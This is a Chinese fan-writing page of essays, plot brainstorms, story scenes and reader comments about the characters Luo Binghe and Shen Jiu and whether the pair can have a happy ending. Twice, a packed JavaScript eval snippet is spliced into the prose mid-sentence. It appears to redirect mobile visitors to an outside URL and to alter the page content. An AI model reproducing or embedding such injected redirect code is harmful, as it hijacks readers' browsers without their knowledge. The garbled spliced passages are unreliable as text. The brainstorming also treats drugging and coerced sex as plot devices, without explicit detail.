或者说回到了洛冰河还没有下无尽深渊的时候。 或者说回到了沈九小的时候。 这样他俩之间没有隔着那么大的仇恨,或者说隔着的仇恨没有那么的严重,还是可以组一下的。 ————我要开始吐槽了!———— 其实说白了,他俩之间的感情最大的问题,从来都不是说什么''你爱我我不爱你'',而是说,你俩之间隔着那么多条的人命,又隔着那么多不堪的过往。 如此多条的人命,你俩轻轻松松的就站在了一起,你半夜不怕恶鬼敲门吗? 你就不怕哪一天身死道消,到地府之后,无言面对江东父老吗? 所以说你就不怕哪一天,突然回忆过往,想到了曾经你觉得还不错的那个人,比如说明帆,比如说柳清歌。这些早早死去的,并且他从来没有愧疚于你的这种人。 他自始至终都在为你而战,或者说他自始至终都没有对不起你。 这样的人。 因为你这个伴侣的原因,他死去了。 然后呢,你还能够再坚定的选择这个伴侣。 我真的觉得这种人是不是脑子有坑? 你俩在一起的话,为什么非要拿别人的命,去为你俩之间,证明你俩的爱情呢?? 你俩想在一起可以没问题,但前提一定是不要伤害别人的利益啊。 你俩之间已经死了那么多的人: 损失了整个清静峰的人,然后呢,苍穹山派的人也死了不少,甚至说人魔大战的时候,修真界的人和人间的人,甚至说魔界的那么多魔都死去了。 已经死去了那么多的人,然后你俩还能站在一起,说这个结局是be。 你的意思是只要两个主角是活着的就够了吗????? 只要两个主角他们相亲相爱,这个世界就美好了吗??? 那那些为他们死去的人又算什么呢? 那些为了他们战斗到最后一刻的, 那个,因为沈九的一封信而被万箭穿心的岳清源; 那个,因为沈九想让他活下去,而被打的半身不遂,还要坚守在清净峰的明帆; 那些为了魔族想要占领修真界,而死去的魔族士兵们、先锋们; 那些为了守护修真界,守护人族,守护苍穹山派,而奋起还击,战死沙场的人; 他们的命又算什么呢? 难道说他们的命就是为了证明主角们,是多么的忠贞不渝吗? 是多么的,跨越世俗、也要在一起吗? 可是你们要跨越的世俗,你们两个之间的游戏,为什么非要那么多人牵扯进来呢? 那么多条的人命都为了你们而凋零—— 然后你们两个还能够心无旁骛,心无杂念的在一起。 我真的觉得这两个人也太恶毒了些。 这两个人简直是要被其他人——有机会的话,一定会被其他人狠狠的打一顿的呀。 这种为了救你而损失,整个天下也不怕。的,气魄。 真是令人可敬,可赞、可叹啊。 只不过吧,天下,普通人,又算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15157967|163333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么??? 这样的人,其实是不配在一起的。 除非说, 时间倒转,死去的人还能回来,这个游戏还仅仅只在你俩之间。 你们两个之间所有的爱恨情仇都是没问题的。 因为那是你们两个之间的事情。 但是你一旦牵扯到其他人,哪怕说只有一个人为你们而死,你们两个人之间都是血海深仇,都有着人命的隔阂—— 这样的隔阂怎么还能在一起?要怎么样去消除?人死是不能复生的! _______________________ ______________________ emmmm,找了一下,基本上都是冰哥主攻,然后用苍穹山派和武力压迫沈九,接着两人相爱(冰哥)相杀(沈九)。 又因为冰哥天魔之血不死不灭,所以相当于“沈九被冰哥缠上”,最后无奈在一起。 也可能是我阅历太少,没有看见合适的…… 嗯,让我想想,如果想让沈九主动去压冰哥…… 好像挺有难度哈。。 毕竟原著里面表明了,沈九被秋少爷相中了脸,虽然童子身还在,但是类似的举动肯定少不了…… 而且吧,有这样一个“荤素不忌”的主在,后面沈九在清静峰学艺的时候,都小心翼翼的不想跟其他男人一起住,宁可一直跑青楼…… 所以说,想让沈九主动,只能是中毒。 原著番外里面,好像有一个沈清秋和柳清歌打魅妖的故事。 所以。可以操作一下,沈九和柳清歌出门的时候,冰哥偷偷跟着,原因嘛,出自龙傲天对“自己后宫”的执着。 这个时候,冰哥肯定是得对沈九动心了,但是还没实施。 按照时间线来说,这个时候冰哥也是打不过沈九的。所以肯定不可能“霸王硬上弓”,只能是悄悄跟着,防止柳清歌和沈九过多接触。 关于这一点,原著里面、撒种人部分,沈劳斯无可解发作,夜里执灯等柳清歌过来的时候,冰妹偷溜进去,还对沈劳斯发了挺大脾气,又让沈劳斯喝了天魔血。 冰妹都对柳清歌“忌惮”,冰哥身为龙傲天本龙,肯定是更会忌讳。 所以,偷溜跟着两人,也是非常“合理”的。 嗯,都魅妖了,中点春天里的毒,也是能理解的吧? 柳清歌身为大直男,如果中了春毒,肯定是要——以剑乱杀,然后凭灵力强忍。 沈清秋按理说也是会如此。 但是吧,不是还有偷偷跟着的冰哥吗? 而且吧,沈清秋心情不好都会去找漂亮姐姐贴贴,没道理中了春毒独自忍着啊~ 所以,大概率会选择远离柳清歌(废话,这玩意自己打不过,还是发x中毒的男人!),打算去最近的青楼。 嗯~在野外做任务,路过草丛,草丛里/树上躲着人,也是非常合理的吧? 到青楼,单独点妹子去房间,也是很合理的吧? 这时候,完好的冰哥,偷偷跟进去,把妹子打晕,觉得不能让这玩意“污染”自己师尊,也是能理解的吧? 简直非常合理! ——现在就可以考虑开车了—— 首先,要考虑一下,沈九此时此刻情况如何。 是迷糊到看不清人? 如果是这种情况,那冰哥就可以开始他收后宫的表演了,十有八九,是攻的那方。简称“睡服”。 还是虽然神智不清明,但是武力还在,发现自己被压后立刻反压? 要知道,按照一般小说的逻辑,春毒分两种,一种是让人没力气;另一种是更有力气! 所以说,只要沈九精神正常,武力正常,灵力俱在, 就可以实现压冰哥! 这个和冰妹是不同的。 冰妹,心里柔软,所以他“迫切”的希望和师尊“融为一体”。 冰哥,龙傲天本龙,内心极为傲气,对沈清秋的欲主要来源于……不爽、不屑,加,对自己看不上的,愤恨。 是完全可以通过“睡服”来完成对“敌人的报复与打压”的。 嗯。所以说。 如果想让沈九压冰哥。 他两之间一定会打,打的还很激烈。 首先,沈九一定不能“咬”冰哥,否则天魔之血出动,沈九的命就算是“拿在”冰哥手上了。 其次吧,按照时间线来说,这个时间沈九是一定能打得过冰哥的。但是冰哥身为龙傲天,也是可以“跨级对打”的。 除非说,沈九所中的春毒,是扩散型的,冰哥也中了毒。 然后两个人妖精打架。 emmmm,这样,简称,互攻? 好吧,反正也算是实现了九攻。 ——谁让我是个讲究逻辑的人——我真的没办法毫无逻辑的直接说,沈九可以直接压冰哥—— 嗯,不过,如果是比拼灵力储蓄的话,沈九肯定是赢的那方。 毕竟沈九没中无可解,虽然被天道压制不能从金丹突破,但是按照时间线和实力来说,也绝对不会太低——要不然早就被各种挑战和挑刺了。才不配位啊。 所以,比拼到最后,沈九一定是胜利的那方。 然后冰哥身为龙傲天本龙,一定会“怀恨在心”,时刻想着反压。 两个人的感情线,就这么……出来了! 强a对决,就是看谁压倒谁! 嗯…… 这样子,情节和感情都有了…… 还挺完美,哈哈…… ——甭管读者喜不喜欢,反正我超爱~哈哈 ——后续—— 沈九清醒,发现自己身边睡了个洛冰河。 然后两人身上全是缠绵的痕迹+味道。 不用想,更想杀洛冰河了! 接着,清醒的洛冰河发现自己压不过沈九,更加拼命的要努力修炼,一定要把沈九压下去,让他哭! ———— ———— 如果沈九知道未来的时候,是洛冰河入门的时候。 那么,事情的后续,非常有可能和《狂傲》+《渣反》的剧情线一模一样…… 毕竟。人物的性格和对于事情的处理方式,即使细微区别不同,但殊道同归,结局和发展是一样的。 所以。故事的流程,可以简化为……仙侠背景的游戏世界。 大块的剧情事件是固定的,人物的选择也是几乎不变的。 能改变的,是人的内心抉择与性格,接着由于细小的改动,引起整个主线的方向倾倒。 冰哥想压沈九,可以用武力+天魔血,以及求而不得。 沈九压冰哥,虽然难度很大,但是跌入深渊的前期,是完全有机会的!!! 27.反复梦见未来的沈九被拉入洛冰河梦魇之中 反复梦见未来的沈九被拉入洛冰河梦魇之中 这次的梦境,更真实了。 沈清秋已经连续、反复的做了很久的梦了。 每增加一次,都感觉梦境更加清晰。就像是……梦境在成长一样。 从第一次的激动、恨不得抽死洛冰河(嗯,抽了,抽的半死),到后面的愤懑不平(嗯,让明帆打了,还安排宁樱樱送药来着),到现在的、无动于衷,并且还有点无聊的打哈欠。 次数多了,免疫了。 甚至说,现在看见洛冰河,都提不起想打他的想法。 —— 人果然不经念叨,说曹操,洛冰河就来了。这次,这家伙在给养母“求粥”? 哦,新鲜啊,这次的梦境有新变化了,真开心。看故事也是想看新玩意的嘛,一成不变的,他都对洛冰河提不起杀心了。 哦,养母最后还是没喝上粥啊,真可怜。 嗯??咋又出现一个洛冰河?还是个……穿着清静峰弟子服的,他咋一言不合就跪在“养母”面前,哭的不能自已? 咦?梦境切换了?原因是……洛冰河碰触到了“养母”? 这次的场景是……街边乞讨?洛冰河还是被群殴的那个? 等等,咋这个弟子服的洛冰河又出现了,还啥也不说就上去干? 诶~现在可以确定了,只要“弟子服洛冰河接触到一开始的场景中人”,就会切换场景。 这次……诶呀,是自己呀~ 哦,原来自己当时这么冷酷啊,看这个泼茶扔杯子的动作多帅,一招见血!脑门立马破相! 看洛冰河的表情多懵逼,多破碎啊,整个脸写满了“我是谁?我干了什么?我怎么了?我是不是惹上位者生气了?” 诶呀~这次的弟子服洛冰河,咋没上去嘞? 你上去打明帆呀?打我呀?安慰“小洛冰河”呀? 你傻站着干啥呀? —— “师尊。我是真的很失败吗?”弟子服洛冰河呆愣了半天,突然来一句嘟囔。 “是啊,我看见你就烦,你咋不自觉点,赶紧退学呢?劳资的厌恶都表现的那么明显了,就算是柳清歌那个傻子也能看出来吧!”沈清秋顺口接了一句。 但是……弟子服洛冰河突然望向了沈清秋! “?!”沈清秋被惊到了……这个弟子服的那个,不会……能看见自己吧?自己刚才可是接话了的…… 难道,他不是自己的梦境产物? 还是说,自己身处的,不是自己的梦境,而是,困阵? “两个,师尊?”弟子服洛冰河突然向沈清秋走来。伸了一下手又缩回去,偷瞄了沈清秋一眼,又闭了闭眼睛,突然把手伸出来,拉住沈清秋衣袖的,一丢丢边角。 “???”沈清秋不是很能理解他的操作,但是并不影响他的厌恶。所以——沈清秋很快用扇子把洛冰河的爪子打了下去。 “师尊……”弟子服洛冰河突然泪流满面的哭了起来:“师尊,我真的那么让你厌恶吗?之前在穹顶峰和魔族对打的时候,我还以为你终于看见我了,没想到……” “呃……”沈清秋看着说哭就哭的少年,其实是,有点,手足无措的。 平心而论,现在的洛冰河,并没有对自己造成伤害。反倒是,沈清秋因“斩草除根、提前解决危险”的指导思想,对洛冰河亏欠颇深。 毕竟,虽然沈清秋知道这玩意未来会弄死自己,可是吧,自己这么些年来,也没少对洛冰河下死手啊…… 易地处之,如果自己遇上对自己心怀杀意的师傅,自己也很难不想弄死他吧! —— 现在沈清秋有两个选择: 第一,人已经得罪了,总不能半途而废,反正已经动了杀意,就一鼓作气弄死算了,大不了心怀愧疚,给他烧点纸。 第二,反正他现在还没做什么,不如改换思路,多弥补一下,最好逼洛冰河发个誓,两个人之间的事情,就算是技不如人被囚禁俘虏,也算一人做事一人当。 —— 沈清秋看着哭的打嗝的洛冰河,一时间有点头皮发麻。他不是很会安慰人,尤其是,别的男人。 跟洛冰河比起来,宁樱樱简直是个天使!不仅从不让自己操心,还完全不需要安慰,天天快快乐乐、没心没肺的,完全不是问题少女,只是天真烂漫的解语花~ “唉~”沈清秋深深的叹了一口气。不明白这次的梦境,为啥这么“互相”,明明之前自己只要当个看官就好的。 “别哭了。丑死了。”沈清秋生硬安慰:“我是挺不喜欢蠢货和废物的,但是穹顶峰我不是答应你了吗?只要你赢了,可以和明帆竞争首席。最后的结果是,你赢了。” 洛冰河哭的双眼通红, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15164494|163333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抽涕道:“对,我赢了……师尊……” “咦~”沈清秋皱了皱眉头,默默退后一步,不想看哭的鼻涕横流的弟子……有点……好脏啊!!! “别哭了!”沈清秋大声重复道:“让我带你一剑破万法,以力破万巧!” 【这次的梦好奇怪,居然回想起小时候了……只是,隐隐约约闪过的“师尊所赐,弟子今日特来百倍奉还”、“万箭穿心,你这种人竟也会流泪”……是什么?师傅~师傅果然强大,一剑破万法,简直比百战峰的柳师叔还要帅!不过……梦魇老头说,我如果不跟他学习修魔,就无法在清静峰待下去了!】 狂傲九穿越渣反双湖城之后,灵犀洞之前 沈清秋清醒时,察觉到侧厢房有其他人的气味。这是很不应该的,他的屋里常年布下层层阵法不说,即便是门口附近有几名弟子晃悠,他都会第一时间驱逐。 是某人胆大包天,敢私自入侵;还是他某段时间鬼迷心窍,竟然放别人侵入自己空间? 他睁开眼,打量着属于自己,却又增添许多不同的竹屋。 一应物件没变,却增添诸多细节。若说之前是清淡中带着实用,现在却是……淡雅中隐含细腻华贵。 他为人更注重实用,衣柜里有什么就穿什么,熏什么香,配什么饰品,全看眼前有什么。 而现在……衣服配饰却被打理得整整齐齐,鞋袜之类色彩协调,明显是有人精心挑选配备。 宁嘤嘤有这个能力,但没这个心思。 明帆平日里主要是处理杂事,基本不管这些零碎。 楚清风只管给他送资源,至于怎么用,全看沈清秋心情。 所以,是谁? ———— 离奇,离谱。 洛冰河不是宁嘤嘤看上的情郎吗?为何不追着宁嘤嘤,反而时常出现在自己眼前? 老峰主出游已久,却从不曾寄回只言片语? 楚清风,竟然从头到尾不曾回来,也不曾与沈清秋有过其他接触。待他登上峰主之位后,就如同其他弟子一般,从未想过回来? 连柳清歌,也不曾昏迷,只是遇见自己依旧是仿佛看不见人似的,转身冷漠。 ———— 此方境地,是梦魇创建的另一个幻境? 看见他不曾“帮助”幼年沈九,所以干脆用清静峰的记忆做魔改,引他入局? 28.关于冰九为什么一直互杀的一些探讨 中途被掳平淡九X结局返回坚定冰 ———— ooc预警:看完娈宠后的一些脑洞扩展,纯纯自娱自乐,没有碰瓷大佬的意思,但确实有部分‘借鉴’。 ——前言预警—— 如果是完全的结局冰与结局九,别管其中再怎么‘美化’和‘解除误会’,死去的人都太多了,被毁灭的世界也已被损毁了。 这样已经‘落幕’的故事里,冰和九不可能存在HE,他们不能也不配隔着尸山血海,‘爱’上对方。 虽然有些冰九是那么写的,但是对我个人而言,这样的HE是不可能‘成立’的(没有拉踩的意思,只是表达个人意见,纯纯个人意见!) 所以说,甭管是冰九还是九冰,想要打出‘携手相伴’的结局,两者不能走到最后,更不能用一堆人的命去‘铺就’一条他们相爱相杀的路线。 这其中,说一下为什么我主九却会磕冰九而不磕九冰。 因为——九是标准男频下的产物,给他一个机会,他一定会选择提升实力,然后带领修真界的其他人反抗魔族入侵。 他脑子有坑吗,非要玩‘以身饲魔’的路子去‘怀柔’对方,寄希望于对方会爱屋及乌,放弃攻打修真界? 他是男频仙尊,所拥有的思想是‘绝对的实力就是王,绝对的武力可以镇压一切,用足够的阴谋阳谋去平衡势力,维系修真界的整体安定’。 这样的思维逻辑下,九是的精神是得出什么样的问题,才会选择去‘爱’一个敌人,与敌人携手? 这样的沈清秋与洛冰河,可以因立场对立、实力相济而‘惺惺相惜’、继而‘互相欣赏’,或许在某些时候还能‘互相给对方敬杯酒’,接着喝完酒又各自回到阵营,举兵拼杀。 啊……这样想想,两个首领之间的情谊,好像也蛮好磕,想写…… 咳咳,言归正传,正常的逻辑下,沈清秋没有‘爱上’洛冰河的原因,也不会去选择‘爱上’对方而不是‘杀死对方’。 所以说,我实在磕不来九冰,只能接受冰主动的冰九。 但是吧,冰九有个最大的问题—— 九被冰毁去了一切,他脑子有坑吗,非学恋爱脑女主,‘爱’灭门仇人? emmmm,这个点,是比九冰还难‘解决’的…… 不过冰九最磕的一点,其实就是冰哥的一句‘师尊,这次可不要再拒绝我了’。 所以所有的冰九,都是强制爱。 都强制爱了,攻对受的强取豪夺、虐身伤心,也是能理解的,对……吧? 很好,果然磕的时候很带劲,写的时候觉得莫名其妙…… 咳咳,拉回主论题,现在我想让冰和九走出HE结局,但是九本身不存在‘爱上冰’的原因,那么,如何让两人携手? 答:改时间线。 冰本身是有‘恋九’的基础的。 而且冰是有‘强控九’的武力能力的。 但是,结局的九不可能隔着重重人命‘接受’冰。 所以,只能是冰哥穿越,穿到故事中途、修真界还没毁灭,死去之人还没死的时候。 〈娈宠〉能HE,差不多走的是言情‘睡服’那一套; 〈重生后师尊没有收我为徒〉,走的是用修真界存活之人威胁九的路子; 〈再世为渣〉,走的是九将冰当成曾经的自己,接着看见冰成功就觉得给自己一个机会也能成功(差不多是鹿鼎记里面皇帝对韦小宝的心情)。 总而言之,要么人没死、修真界没灭,两人皆有记忆的情况下,冰用其他人威胁九;要么干脆一切玩完,走女频那套‘爱而不得’‘完全睡服’的言情套路。 emmmm。 至于我打算想写的,也差不多这样。 ———— 冰哥毁灭一切后,沈清秋死亡。 冰哥跨越时空,来到沈清秋将洛冰河踢下深渊的时间线,与沈清秋对峙:“师尊,将纯情少年郎踢下深渊,心里可有悔?” 沈清秋:“灭杀魔族人人有责,何错之有,何曾后悔?” 冰哥:“可是洛冰河虽为半魔,却不曾害人。” 沈清秋:“所以我并未取他性命。” 冰哥:“哈哈哈哈,未取性命,原来师尊你,竟手下留情了!” 沈清秋:“只是你现在过来,反倒证明,我当时不该心软。魔族究竟有什么图谋?” 冰哥:“图谋你,您信吗?” 沈清秋:“想用我威胁苍穹山?太不巧了,其他人不会保我的。” 冰哥:“看来师尊对自己不得人心这一点,心知肚明啊。” 沈清秋:“所以你究竟过来干嘛。” 冰哥:“弟子已说过,弟子心悦于您,要带您走。” 沈清秋:“想让我当俘虏,叛逃于魔界,想得美。” 冰哥:“好言难劝该死的鬼,师尊,别怪我动手了。” ——开打—— 沈清秋睁眼,已是几百年后。 冰哥:“师尊,您这一觉,沧海桑田。” 沈清秋:“?” 冰哥:“大概就是,元婴以下全化为骷髅的那种吧。若您想见故人,大概只有半步化神的那些,不过现在都是祖宗级别,不知生死。” 沈清秋:…… 沈清秋:“所以你囚禁于我,目的为何?” 冰哥:“弟子早就有言在先,弟子心悦于您,想与您携手一生。” 沈清秋:“别拿这套神情恶心我,你让我睡几百年的账还没算呢。” 冰哥:“所以弟子打算好好赔偿您。” 沈清秋:“挖出你的心就够了。” —— 沈清秋:故人西辞,流年似水,之前的恩恩怨怨,早就随着时间而风化,最后留下的,竟没几个面孔。 沈清秋看着洛冰河毫无岁月痕迹的脸,还是不理解对方的想法:“你留下我,是为了什么?” 以他的修为,虽然可以活个千年,但并不能长生不老。再加上之前的那次打架手段尽出、昏迷已久,本不可能留存到现在。 冰哥:“弟子想与师尊一起,看遍大好河山,共享江山无限。” 沈清秋:“你不怕我一刀砍了你?” 冰哥:“弟子又没做错什么,师尊无缘无故砍杀弟子是为何?师尊可不是这样不讲道理的人。” 沈清秋:“我还是不明白,你究竟在透过我看向谁?” 冰哥:“一直是您。” —— 沈清秋‘恢复’记忆。 沈清秋:“洛冰河,你玩够了吗。” 冰哥:“师尊,弟子这一世可是什么也没做,您之前也觉得这盛世歌舞升平,和乐美满。怎的却又喊打喊杀,说弟子不好?” 沈清秋:“之前犯下的错,现在去弥补,就能挽救?死去的人、流过的血,都无法改变。” 冰哥:“可这个世界,这些都不曾发生!” 沈清秋:“你不该试图让我‘恢复’记忆,更不该作出一副深情的样式。无论那些是否发生,我既然知晓,就不可能放任。” 冰哥:“所以您还是要怪罪弟子?弟子都不曾因您之前的所作所为牵连到这世的‘沈清秋’!” 沈清秋:“人就是这样不满足的生物,已得到的,就想要更进一步;当事情出乎意料,就开始恼羞成怒。” 冰哥:“弟子自认已做到极致,您要如何才能接受弟子?” 沈清秋:“永远不可能。” ———— ——碎碎念—— tnnd,为什么最后还是互杀!!! 我明明那么努力的分析构思,就是想写HE啊。 有记忆,九会记恨冰。 没记忆,九会认为冰将自己当成替身。 互相没记忆……那不就是正常故事线? 艰难。 ———— 没有互恨,还算冰九吗 如题,最近心痒痒写了个同人,扒拉了一下〈冰九〉榜,发现自己写的好像过于ooc。 所以想咨询一下,如果冰九双方没有‘死伤惨重’‘冰哥将沈九折磨惨重却又死不了’ 冰九还算冰九吗? 这样的冰九,是强制爱,还是披着‘冰哥’‘沈九’人设的同人? 我个人觉得,冰九最好磕的,就是双强、双杀、强制爱。 可如果不去描写双方的过往,那他们还会相恨相杀,进而走到一起吗? 单纯好奇!敬请谅解!真的是好奇所以想问一下,求解答! _______ _______ 算吧,同人创作就是给他们无数个可能 说得对……我找了好多同类型的文章,感觉……嗯,没记忆的好像有些怪怪的,可有记忆的,也难免千篇一律 你都说是同类型文章了,那自然是思路是差不多的。 我觉得第一位说的对 我也觉得,这样应该算是“百花齐放”吧?但是,这样子的话,究竟算不算ooc呢?失去记忆的性格,是本人,还是人设?哦,突然玄学 冰九不是只有一种磕法,同人的作用是塑造不同if线 有些人喜爱的是这个角色本身,所以哪怕这个角色有不同经历也会喜欢他 只喜欢有一种经历的他,如果被这种思维困住,那你就基本上写不出别的东西了 也有人写过性格好的沈清秋是什么样子的,但他们不会直接写他性格突然就好,而是写如何把它变成性格好的过程,不让他进秋府,不要让他遇到无厌子,不要折损他的根骨,不要让他做好事却得不到回报,那么这样的沈清秋自然就不会变得性格阴暗 但这依然是沈清秋,是我们喜欢的九,我们看到了也只会说,果然我们小九只要不被命运折磨,一定会成为更好的自己。 嗯,这么说吧,大洛冰河可能会口是心非的说什么活该的话,但是比较代表他初心的小白花洛还是不想让九被搓磨的,如果有办法改变他的过去也不是冷眼旁观的让他走向那个孤独的王座,我觉得洛最后还是得心疼九,所以只停留在强制爱上面反而其实不算是特别符合这对,我觉得看点更多要期盼的是一种转变吧 真正的成年冰哥会口是心非,可时间线往前推,冰哥说不定会心疼九,从魔尊往前推的冰哥,与还有拼杀之力的九,这样的双杀双爱,才更有感觉 ———— 关于仿〈重生后师尊没有收我为徒〉的碎碎念 呜呜呜我不想的,我真的贼认真的看了好几遍,又非常深入的设定大纲和人设,可是不知道为啥,最后的结局还是互恨互杀(太难了吧) 我都快照着大佬的剧情誊抄了,结果写出来还是互杀,互打,互骂,互砍…… 啊……绝望。 话说……为啥我永远是互杀结局、不知道咋开展呢……(哭嘤嘤) 按照一开始的大纲,应该是洛冰河看到沈清秋与柳清歌对骂对闹,觉得自己的东西被人惦记了,所以开始心态转变。接着用梦魇试探后开失忆梗,接着恢复又互打…… 额,好吧,我确实是‘照抄情节’ 但是——— 为什么莫名其妙的就爆发并且打成这样啊…… 圆都圆不回来的那种…… 难道在我的心里,冰九真的不可能he? 但是我之前那个仿废料的纯甜分支,写了快两万字啊(好吧,我承认那是因为双方没有互恨记忆) 所以说,在我的心中,这两个有记忆就绝对不可能和平相处?我本质上是个绝对不会原谅背叛、绝对不喜欢暴力征服之人? 太难了。 我真的是甜文写手啊……为啥最后却总是互杀啊……呜呜呜。 ———— ———— 我又花了好久的时间翻大佬的文章。 发现一件事。 大佬的文章里,沈清秋是个复杂且有时能作出不同反应的人。(当然,大佬处理的很细腻,非常流批) 我写出来的沈清秋,骨子里的烈性难驯是磨灭不掉的,是宁可拼杀致死也不可能妥协的。 所以——除非没有记忆,没有过往,否则‘沈清秋’会对任何人、任何事拔剑。 大佬写的沈清秋,是骨子里有反抗,有睚眦必报,也有对身边其他人的妥协和容忍。更像个复杂的人,而非扁平化的‘人设’。 所以说,在‘妥协’‘忍耐’‘看重’这些词汇里,沈清秋能‘忍受长久的床奴生活’。 而这些特性,又决定了重生后的沈清秋,会为了其他‘不明事理’的人,舍弃妥协一些东西。 啊……至于我写的,完全就是刚出社会、没被打压的气血方刚少年郎,坚决不可能对世道妥协,哪怕是拉着大家一起死也不可能压下骨子里的愤恨。 所以说…… 这两次仿写都是失败的……太难了。 第一次,仿写黄色废料,一个是踩在封禁边缘疯狂试探,所以疯狂被禁。 呃,还有就是原文的大部分都是ccc,我没有看完…… 第二次,仿写之前就很喜欢,看了很多遍还是很喜欢的同人。甚至贼认真的设定大纲,花了两个整天的时间去思考和描写。 结果还是学不会其中的细节和转换,一个正统的冰九,写出来撕破脸皮的冰哥与沈九,还有打了好几次的柳清歌与沈清秋。 实在是。太令人伤心了。 呜呜呜。 ———— ———— 我的xp不应该是互恨吧? 可是我磕的〈将军令〉和〈冰九〉,主线情感都是以‘仇恨’‘互恨’为基底…… emmmm…… 但是为什么,我去为他们写同人的时候,却只会让笔下人物‘激烈反抗’呢? 我本人很厌恶强取豪夺。 磕CP却爱极了爱恨交织…… 人啊。果然复杂又虚伪。 同人水太深,有些仿写实在是模仿不出来啊(^ > · <> ———— 个人感觉还好,沈清秋身为一个修真界的人,在经历被拉下神坛,踩进泥坑,山门被屠,在意的东西都被毁,在意的人全部死于非命,然后自己还沦落成敌寇的床奴,在经历这些之后他重生了,重生在自己最风光敌人最弱小的时候,刚开始的时候,他会害怕但等他回过味来,他然到不应该不惜一切代价宰了他?宰不了就收集洛冰河是天魔族的证据,把它是半魔的证据,散布于天下给洛冰河挖无数的坑。指不定就他就摔坑里爬不出来了呢! 好主意,这个后续好,我喜欢(虽然不知道具体怎么发展,但听起来确实是个很不错的分之) ———— 其实沈清秋是有机会翻盘的,就算是在上一世也是有机会翻盘的。在无间深渊就应该把他交出去,他爹都被封印了他能有什么好下场。在四派联审的时候直接说他是天魔,正派修仙界绝对会直接封印他。沈清秋骨子里就是太单纯,他没有把人想象的太坏。以至于最后失去一切 洛冰河说实话报复心太重了,这种主角真的是没法想象。也就是现在耽美文太少了。也太少人写耽美文,不然这种看的人真的不会太多。 说得对,他的血脉就是大雷,只要‘暴露’过早,绝对举世皆敌 ———— 别说沈清秋了,连我都不会接受,好吗?我觉得这样的洛冰河太low了 求爱是嘴上说就行的吗? 有补足遗憾吗? 有抚平怨恨吗? 有实现沈清秋的愿望吗? 有了解沈清秋的过往吗? 好见,好自我 但爱是一个付出的过程,这样的洛冰河我都想给他两巴掌让他清醒清醒,我知道太太你为什么写不了冰九he了,你的冰太差劲了,是那种不配被爱的差劲,是配不上沈清秋的那种差劲 —— 啊……有道理,这样想想是真的好‘肤浅’ 爱这种东西怎么可能跟口头上说说,得实际上做才行。〈娈宠〉的转折点是冰为九口,〈重生之师尊没有收我为徒〉的转折点是冰受了九一剑,〈再世为渣〉的转折点是入梦+两者过于相似进行的试探 所以说,大佬才是大佬()有哪些东西再铺垫,两个人的感情才有可能走下去 —— 但其实大部分人写冰九,冰经历多了都是比较成熟的,要么不爱,一旦意识到或者爱上是会做出本质的改变 不是这种精神小伙一样的残忍善变,骂几句话就翻脸无情,对自己认为的伴侣没有丝毫的包容心,连最基础的吃食、安全需求都无法给予,更别提后面的尊重需求和自我实现需求了 别再写那种好事没干几件,聊几句话就开始发癫的超雄洛冰河了,毫无包容心毫无魅力可言 洛冰河能使用心魔剑这种对精神有刺激的武器就已经说明洛冰河就是心态强大的那一类,洛冰河就算发疯把周围人都杀了也会下意识保护好自己爱人的 —— 我也是这么觉得,所以每次看都觉得很好,看完又觉得不得劲 —— 说得对,这一点确实很重要。要不然就跟有病似的,莫名其妙的‘爱上’ 对,底下有位小天使说的贼对,主要是“割裂感”,一个怎么都要杀人的家伙,莫名其妙、几句话就“爱上了”,真够离谱的 —— 就我感觉,冰九he太难了,相杀可以,相爱,冰哥和沈九都妥协吗?九经历太多了,冰九之间隔着也太多了,所以要么九死be,要么一直死斗,一直相杀算计纠缠变相的he —— 的是的,所以我写出来的冰九也一直是互杀的,但是毕竟是为了磕才会重新同人,所以又觉得应该会有HE结局才对。但怎么想,怎么写又打不出两人和平共处的结局 所以我就发现一个悖论:因为觉得遗憾才会去看同人,但是真看到HE又感觉好像不对劲。可是我一开始的目的就是想看两个恶人如何走到一起,真‘携手’又觉得尸山血海,他们怎么能真的用其他人的命成就爱情? 可是毫无疑问的说,如果说他们两方都没有记忆的话 那这个故事其实完全没有写的意义,因为他原文就是那样的。除非说是将他这个原文全翻重写一下,给他打补丁,打成一个正常的男频向的或者女频向的小说。这个已经很多人都在写了,不过目前来说我还没有看到很喜欢的 所以我就开始头疼,或者是我一直都在很纠结这个问题。就是我是真的很想看两个恶人双杀,双a双强。嗯,关于这一点的话,其实我还很喜欢另一部小说叫做将军令,哎呀,那个真的是很带感。然后看到这个的时候,我就觉得他们两个有没有可能和那个是一样的那种的拉扯呀,或者说互恨啊,或者说互杀呀,双a啊那种的 所以其实一开始的话,我是想模仿他们两个去写的。因为我真的觉得他这种基调就是很带感。但是估计就是能力的问题吧,嗯,那个双杀是有,但是结局是不可能结局的,这是暧昧也不会暧昧的。.。然后我就开始觉得我是不是哪里出了问题。但是我又仔细想想,又觉得这个问题是哪呢?这个问题到底是什么呢?我就一直想不出来这个原因。 然后后面我就发现可能是因为,就是简单的、单纯的,因为我觉得那个施暴者不配被受害者原谅。伤害过别的人,怎么可以被受害者原谅呢?所有欺凌里面那些施暴者可以忘记过往,但受害者却一直被留在原地——所以施暴者,怎么配被原谅? 但这个,是违背了我一开始“想磕CP”的初心的。所以我就更纠结了……矛盾的是我,想磕的是我,但是觉得他们“不配HE”的也是我。所以我想看的,究竟是什么? —— 